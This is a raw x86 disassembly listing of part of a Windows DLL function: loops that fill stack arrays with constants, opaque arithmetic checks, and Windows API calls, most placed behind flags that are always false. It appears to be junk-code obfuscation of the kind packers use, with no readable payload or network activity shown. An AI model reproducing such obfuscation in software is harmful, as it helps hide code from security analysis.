call fcn.10016d18
dec dword [ebp - 0x1c]
jns 0x10030f98
push 4
xor eax, eax
pop esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1003115d
jmp 0x100310c4
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x48], 0x9139f480
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100310f6
push 0x17a2
push 0x2ea
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0xb0c]
mov eax, dword [ebp - 0x10]
push ebx
call fcn.10016d1d
mov dword [eax], 0x3e4c996e
cmp dword [ebp - 0x2c], edi
jge 0x1003112a
xor eax, eax
lea ecx, [ebp - 0xb0c]
push eax
call fcn.10016d1d
cmp dword [eax], 0
je 0x1003112a
mov eax, edi
jmp 0x1003112c
xor eax, eax
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x638]
add ecx, eax
mov eax, dword [ebp - 0x1c]
add eax, 0x26529694
add eax, ecx
xor ecx, ecx
cmp eax, 0x66883ce7
setle cl
mov dword [ebp - 0x48], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100310c2
push 8
pop eax
lea ecx, [ebp - 0xb0c]
mov byte [ebp - 4], al
call fcn.10016d18
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10031186
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1308], 0x2c3978d1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10031175
push 3
lea ecx, [ebp - 0xdc]
call fcn.10016cb0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xd54]
mov dword [ebp - 0x1c], esi
or esi, 0xffffffff
mov dword [ebp - 0x44], 0x5aebc5f7
mov dword [ebp - 0x44], esi
push ebx
call fcn.10016cb0
xor eax, eax
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x100311e7
push dword [ebp - 0x14]
lea ecx, [ebp - 0xdc]
call fcn.10016d1d
mov dword [eax], 0x313dd33a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100311c8
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10031209
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd54]
call fcn.10016d1d
mov dword [eax], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100311ef
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10031227
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd44], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10031212
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x100313a2
mov dword [ebp - 0x24], 0x8a94b2ab
lea ecx, [ebp - 0xdc]
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x44], 0xa82d8584
push ebx
call fcn.10016d1d
mov ecx, 0xffff0002
sub ecx, dword [eax]
mov eax, dword [ebp - 0x24]
add eax, ecx
cmp eax, 0xfffffffd
jg 0x10031260
mov eax, dword [ebp - 0x24]
push edi
lea ecx, [ebp - 0xdc]
call fcn.10016d1d
push ebx
lea ecx, [ebp - 0xdc]
call fcn.10016d1d
push edi
lea ecx, [ebp - 0xdc]
call fcn.10016d1d
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0xdc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor eax, eax
push eax
call fcn.10016d1d
push ebx
lea ecx, [ebp - 0xdc]
call fcn.10016d1d
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x100312b4
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0xdc]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
push edi
call fcn.10016d1d
push edi
lea ecx, [ebp - 0xdc]
call fcn.10016d1d
mov dword [ebp - 0x4c], 0x4f952012
lea ecx, [ebp - 0x1004]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x44], 0xf94bbb87
mov dword [ebp - 0x44], 0x633c574c
push ebx
call fcn.10016cb0
xor eax, eax
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x34], eax
jmp 0x1003131a
push dword [ebp - 0x34]
lea ecx, [ebp - 0x1004]
call fcn.10016d1d
mov dword [eax], esi
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jl 0x10031307
push ebx
lea ecx, [ebp - 0xdc]
call fcn.10016d1d
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0xdc]
mov eax, dword [ebp - 0x24]
push ebx
call fcn.10016d1d
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10031347
mov eax, dword [ebp - 0x4c]
push ebx
lea ecx, [ebp - 0xdc]
call fcn.10016d1d
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp eax, 0x9add
setne cl
cmp ecx, dword [ebp - 0x1c]
jne 0x1003137a
push edi
lea ecx, [ebp - 0xdc]
call fcn.10016d1d
cmp dword [eax], 0
je 0x1003137a
mov eax, edi
jmp 0x1003137c
xor eax, eax
cmp eax, dword [ebp - 0x2c]
je 0x10031384
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x1004]
mov dword [ebp - 0x10], edi
dec dword [ebp - 0xd40]
mov byte [ebp - 4], 0x10
call fcn.10016d18
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1003122f
lea ecx, [ebp - 0xd54]
call fcn.10016d18
push 8
pop eax
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], al
call fcn.10016d18
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x10031418
mov dword [ebp - 0x44], 0xb3c692be
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100313f4
push eax
push eax
push 0x1dd1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1003140b
push eax
push eax
push 0xfd0
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov eax, dword [ebp - 0x30]
push 0
mov dword [ebp + eax*4 - 0x64], edi
inc dword [ebp - 0x30]
pop eax
cmp dword [ebp - 0x30], edi
jl 0x100313ce
mov dword [ebp - 0x30], 0x64896e6a
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x3c], 0x956e74e8
mov dword [ebp - 0x14], 0x196e
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x48], 0xd3b3e240
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
je 0x10031453
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
mov eax, dword [ebp - 0x30]
test eax, eax
setns cl
cmp ecx, 0xfff6
sbb edx, edx
xor ecx, ecx
neg edx
imul edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
cmp edx, eax
setl cl
xor edx, edx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setl dl
xor eax, eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xfffffff3
jge 0x10031670
push 3
lea ecx, [ebp - 0x39c]
call fcn.10016cb0
mov byte [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x2c], 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x100314dc
push dword [ebp - 0x10]
lea ecx, [ebp - 0x39c]
call fcn.10016d1d
mov dword [eax], 0xffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x100314bd
xor eax, eax
mov dword [ebp - 0x30], 0xfffffff9
cmp dword [ebp - 0x30], 0x32
jg 0x1003163d
jmp 0x100314f1
xor eax, eax
mov dword [ebp - 0x28], 0xba1dd793
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x28], eax
jne 0x10031518
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
neg eax
je 0x10031518
xor eax, eax
lea ecx, [ebp - 0x39c]
push eax
call fcn.10016d1d
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x39c]
xor eax, eax
push eax
call fcn.10016d1d
mov eax, dword [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x2c], 0xe2ad
mov dword [ebp - 0x14], eax
jmp 0x10031542
cmp dword [ebp - 0x2c], eax
jne 0x10031547
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1003153a
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x39c]
xor eax, eax
push eax
call fcn.10016d1d
mov edx, dword [ebp - 0x28]
xor ebx, ebx
sub edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x3c]
cmp edx, ecx
mov eax, dword [eax]
setle bl
add ebx, 0x84c923f2
add eax, ebx
cmp dword [ebp - 0x34], 0x9f9f4aec
sbb ecx, ecx
inc ecx
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 7
setge al
cmp eax, dword [ebp - 0x28]
jne 0x1003159b
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1003159d
mov eax, edi
jmp 0x1003159d
xor eax, eax
mov dword [ebp - 0x2c], eax
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop ebx
jmp 0x10031627
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100315c4
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1003161f
mov dword [ebp - 0x2c], 0x5fa7
mov dword [ebp - 0x1c], eax
jmp 0x10031617
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
jg 0x10031614
push dword [ebp - 0x14]
lea ecx, [ebp - 0x39c]
call fcn.10016d1d
mov ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jle 0x100315e0
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x100315d5
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x100315c9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x100315aa
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x32
jle 0x100314ef
xor eax, eax
lea ecx, [ebp - 0x39c]
push eax
call fcn.10016d1d
push 8
lea ecx, [ebp - 0x39c]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
pop eax
mov byte [ebp - 4], al
call fcn.10016d18
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffff3
jl 0x1003149a
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x10031d5f
movdqa xmm0, xmmword [0x10007b60]
lea eax, [ebp - 0x1170]
mov dword [ebp - 0x4c], 0xdd711a53
lea ecx, [ebp - 0x136c]
mov dword [ebp - 0x44], 0x124f01c0
mov dword [ebp - 0x44], 0xdd3f4672
mov dword [ebp - 0x44], 0x91e29ea4
mov dword [ebp - 0x44], 0xfb37b048
push eax
mov dword [ebp - 0x44], 0xfcc58a01
lea eax, [ebp - 0x1180]
mov dword [ebp - 0x44], 0x91df82
mov dword [ebp - 0x44], 0x3989226c
mov dword [ebp - 0x44], 0xbc3ec3d4
push eax
movdqu xmmword [ebp - 0x1180], xmm0
call fcn.10016d2c
lea ecx, [ebp - 0x11a]
mov esi, eax
call fcn.10008a83
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x12a8]
push dword [esi]
call fcn.10016cf2
xor eax, eax
mov dword [ebp - 0x4c], 0x665969a2
mov dword [ebp - 0x10], eax
jmp 0x10031721
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x137c], 0x3df603fa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10031710
inc dword [ebp - 0x4c]
lea ecx, [ebp - 0x12a8]
call fcn.10016d18
mov dword [ebp - 0x38], 0xfffffff6
xor eax, eax
mov dword [ebp - 0x14], 0x16df251d
mov dword [ebp - 0x10], eax
jmp 0x1003175a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x188], 0x7893
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10031749
mov eax, dword [ebp - 0x14]
mov ecx, 0x39cb61d2
sub ecx, eax
jne 0x1003176e
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
or esi, 0xffffffff
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jg 0x1003186b
mov dword [ebp - 0x2c], esi
lea ecx, [ebp - 0xc5c]
mov dword [ebp - 0x4c], edi
push 3
call fcn.10016cb0
mov byte [ebp - 4], 0x13
xor eax, eax
mov dword [ebp - 0x48], 0xa00b6fb9
mov dword [ebp - 0x10], eax
jmp 0x100317c6
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc5c]
call fcn.10016d1d
mov dword [eax], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x100317b3
mov edx, dword [ebp - 0x14]
imul edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x188]
mov eax, dword [ebp - 0x188]
neg edx
sbb edx, edx
add edx, 0x80997409
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, 0x72a6
setne cl
xor eax, eax
cmp ecx, edx
jne 0x10031809
mov edx, edi
cmp dword [ebp - 0x188], eax
jne 0x1003180b
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, 0x6b7be2d3
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
setge cl
xor ebx, ebx
cmp eax, ecx
lea ecx, [ebp - 0xc5c]
push 2
setg bl
neg ebx
neg ebx
pop eax
sbb ebx, ebx
push eax
neg ebx
call fcn.10016d1d
push 8
lea ecx, [ebp - 0xc5c]
mov dword [eax], ebx
xor eax, eax
test ebx, ebx
setne al
mov dword [ebp - 0x48], eax
pop eax
mov byte [ebp - 4], al
call fcn.10016d18
inc dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x14], eax
jle 0x1003178e
push 2
pop ebx
mov dword [ebp - 0x4c], 0xb3b3333d
push 8
pop ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x4c], 0x5c29478c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x100318a8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x4cc], 4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1003188f
xor eax, eax
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x100318e2
mov dword [ebp - 0x10], 0x76ff55e0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jg 0x100318dd
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x4cc]
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x4cc], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x100318bf
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x100318b0
mov dword [ebp - 0x1c], eax
jmp 0x100319a7
mov dword [ebp - 0x10], 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xa
jl 0x100319a4
mov dword [ebp - 0x3c], 0xec01
xor ecx, ecx
mov dword [ebp - 0x48], 0x4b14
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x3c]
cmp eax, edi
setg cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], eax
jl 0x10031995
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x4cc]
mov eax, dword [ebp - 0x48]
sub eax, 0xa5e0
imul eax, eax, 0xb42c
cmp eax, edx
setle cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp + eax*4 - 0x4cc]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x4cc]
cmp ecx, eax
mov eax, dword [ebp - 0x4c4]
setne dl
imul eax, dword [ebp - 0x10]
xor ecx, ecx
cmp eax, 0x6768
mov eax, dword [ebp - 0x4c]
setge cl
imul edx, ecx
imul eax, edx
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x3c]
jns 0x1003192d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xa
jge 0x100318fe
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffea
je 0x100318ea
mov dword [ebp - 0x1c], 0xfffffffd
mov dword [ebp - 0x1c], eax
jmp 0x100319e5
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100319e2
push 0x1418
push 0x1bf1
push 0x24ec
push 0x2602
call dword [sym.imp.GDI32.dll_CreateRectRgn]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x10
jne 0x100319bd
mov dword [ebp - 0x1c], 0x17
jmp 0x10031a13
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10031a10
push eax
push 0x21a1
push 0xf6c
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffc
jne 0x100319f4
push 8
pop ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], eax
jmp 0x10031a56
mov dword [ebp - 0x10], 0xeede0b40
mov dword [ebp - 0x10], 0xfffffffe
jmp 0x10031a4d
cmp dword [ebp - 0x24], 0xffffffe6
jge 0x10031a24
mov byte [ebp - 0x15], al
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp - 0x2c], 0xfffb
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10031a8a
lea ecx, [ebp - 0x890]
mov dword [ebp - 4], esi
call fcn.10016d18
push edi
lea ecx, [ebp - 0x12c]
call fcn.10016cb0
mov dword [ebp - 4], 0x14
mov ebx, 0x1fbb9cf7
xor eax, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x10031da8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe84], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10031d93
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10031dce
push dword [ebp - 0x14]
lea ecx, [ebp - 0x12c]
call fcn.10016d1d
mov dword [eax], 0xa32b1cec
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10031db0
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x10031df1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x410], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10031dd9
xor eax, eax
push eax
lea ecx, [ebp - 0x12c]
call fcn.10016d1d
lea ecx, [ebp - 0x12c]
and dword [eax], 0
xor eax, eax
push eax
call fcn.10016d1d
cmp dword [eax], 3
jg 0x10031f1f
xor eax, eax
mov dword [ebp - 0x38], 0x3a34c865
mov dword [ebp - 0x4c], 0xea0c8d4
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x410], 0xfffffff8
push eax
call fcn.10016d1d
mov esi, eax
lea ecx, [ebp - 0x12c]
xor eax, eax
push eax
call fcn.10016d1d
mov ecx, dword [esi]
mov ecx, dword [ebp + ecx*4 - 0xe84]
imul ecx, dword [eax]
xor eax, eax
test ecx, ecx
sets al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x10031eba
push eax
lea ecx, [ebp - 0x12c]
call fcn.10016d1d
lea ecx, [ebp - 0x12c]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xe84]
xor eax, eax
push eax
call fcn.10016d1d
lea ecx, [ebp - 0x12c]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xe84]
xor eax, eax
push eax
call fcn.10016d1d
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10031eb8
mov eax, edi
jmp 0x10031eba
xor eax, eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
inc eax
imul eax, eax, 0x5d08
test eax, eax
jne 0x10031ee0
mov edx, eax
cmp dword [ebp - 0x10], eax
je 0x10031ee2
mov edx, edi
mov eax, dword [ebp - 0x410]
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x410], ecx
lea ecx, [ebp - 0x12c]
push eax
call fcn.10016d1d
lea ecx, [ebp - 0x12c]
inc dword [eax]
xor eax, eax
push eax
call fcn.10016d1d
cmp dword [eax], 3
jle 0x10031e17
push 2
pop esi
or eax, 0xffffffff
lea ecx, [ebp - 0x12c]
mov dword [ebp - 4], eax
call fcn.10016d18
push edi
lea ecx, [ebp - 0x13c]
call fcn.10016cb0
mov dword [ebp - 4], 0x15
xor eax, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x10031f66
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xea0], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10031f51
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10031f8c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x13c]
call fcn.10016d1d
mov dword [eax], 0xa32b1cec
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10031f6e
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10031fac
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x458], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10031f94
xor eax, eax
push eax
lea ecx, [ebp - 0x13c]
call fcn.10016d1d
lea ecx, [ebp - 0x13c]
and dword [eax], 0
xor eax, eax
push eax
call fcn.10016d1d
cmp dword [eax], 3
jg 0x100320da
xor eax, eax
mov dword [ebp - 0x38], 0x3a34c865
mov dword [ebp - 0x4c], 0xea0c8d4
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x458], 0xfffffff8
push eax
call fcn.10016d1d
mov esi, eax
lea ecx, [ebp - 0x13c]
xor eax, eax
push eax
call fcn.10016d1d
mov ecx, dword [esi]
mov ecx, dword [ebp + ecx*4 - 0xea0]
imul ecx, dword [eax]
xor eax, eax
test ecx, ecx
sets al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x454]
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x10032075
push eax
lea ecx, [ebp - 0x13c]
call fcn.10016d1d
lea ecx, [ebp - 0x13c]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xea0]
xor eax, eax
push eax
call fcn.10016d1d
lea ecx, [ebp - 0x13c]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xea0]
xor eax, eax
push eax
call fcn.10016d1d
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10032073
mov eax, edi
jmp 0x10032075
xor eax, eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
inc eax
imul eax, eax, 0x5d08
test eax, eax
jne 0x1003209b
mov edx, eax
cmp dword [ebp - 0x10], eax
je 0x1003209d
mov edx, edi
mov eax, dword [ebp - 0x458]
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x458], ecx
lea ecx, [ebp - 0x13c]
push eax
call fcn.10016d1d
lea ecx, [ebp - 0x13c]
inc dword [eax]
xor eax, eax
push eax
call fcn.10016d1d
cmp dword [eax], 3
jle 0x10031fd2
push 2
pop esi
or eax, 0xffffffff
lea ecx, [ebp - 0x13c]
mov dword [ebp - 4], eax
call fcn.10016d18
push edi
lea ecx, [ebp - 0x14c]
call fcn.10016cb0
mov dword [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x10032121
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xebc], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1003210c
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10032147
push dword [ebp - 0x14]
lea ecx, [ebp - 0x14c]
call fcn.10016d1d
mov dword [eax], 0xa32b1cec
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10032129
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10032167
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x420], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003214f
xor eax, eax
push eax
lea ecx, [ebp - 0x14c]
call fcn.10016d1d
and dword [eax], 0
jmp 0x10032263
xor eax, eax
mov dword [ebp - 0x38], 0x3a34c865
mov dword [ebp - 0x4c], 0xea0c8d4
mov dword [ebp - 0x420], 0xfffffff8
push eax
call fcn.10016d1d
mov esi, eax
lea ecx, [ebp - 0x14c]
xor eax, eax
push eax
call fcn.10016d1d
mov ecx, dword [esi]
mov ecx, dword [ebp + ecx*4 - 0xebc]
imul ecx, dword [eax]
xor eax, eax
test ecx, ecx
sets al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x10032218
push eax
lea ecx, [ebp - 0x14c]
call fcn.10016d1d
lea ecx, [ebp - 0x14c]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xebc]
xor eax, eax
push eax
call fcn.10016d1d
lea ecx, [ebp - 0x14c]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xebc]
xor eax, eax
push eax
call fcn.10016d1d
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10032216
mov eax, edi
jmp 0x10032218
xor eax, eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
inc eax
imul eax, eax, 0x5d08
test eax, eax
jne 0x1003223e
mov edx, eax
cmp dword [ebp - 0x10], eax
je 0x10032240
mov edx, edi
mov eax, dword [ebp - 0x420]
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x420], ecx
lea ecx, [ebp - 0x14c]
push eax
call fcn.10016d1d
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x14c]
push eax
call fcn.10016d1d
lea ecx, [ebp - 0x14c]
cmp dword [eax], 3
jle 0x1003217b
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10016d18
push 2
mov esi, 0xb7c7ce53
lea ecx, [ebp - 0xf5c]
pop eax
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x10], 0xc5534bf8
push eax
call fcn.10016cb0
xor eax, eax
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x10], eax
push 2
pop eax
cmp dword [ebp - 0x10], eax
jge 0x100322e7
push eax
pop ebx
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf5c]
call fcn.10016d1d
mov dword [eax], 0x6f7fbf21
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100322c6
mov ebx, 0x1fbb9cf7
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
push 2
pop edx
cmp edx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
xor eax, eax
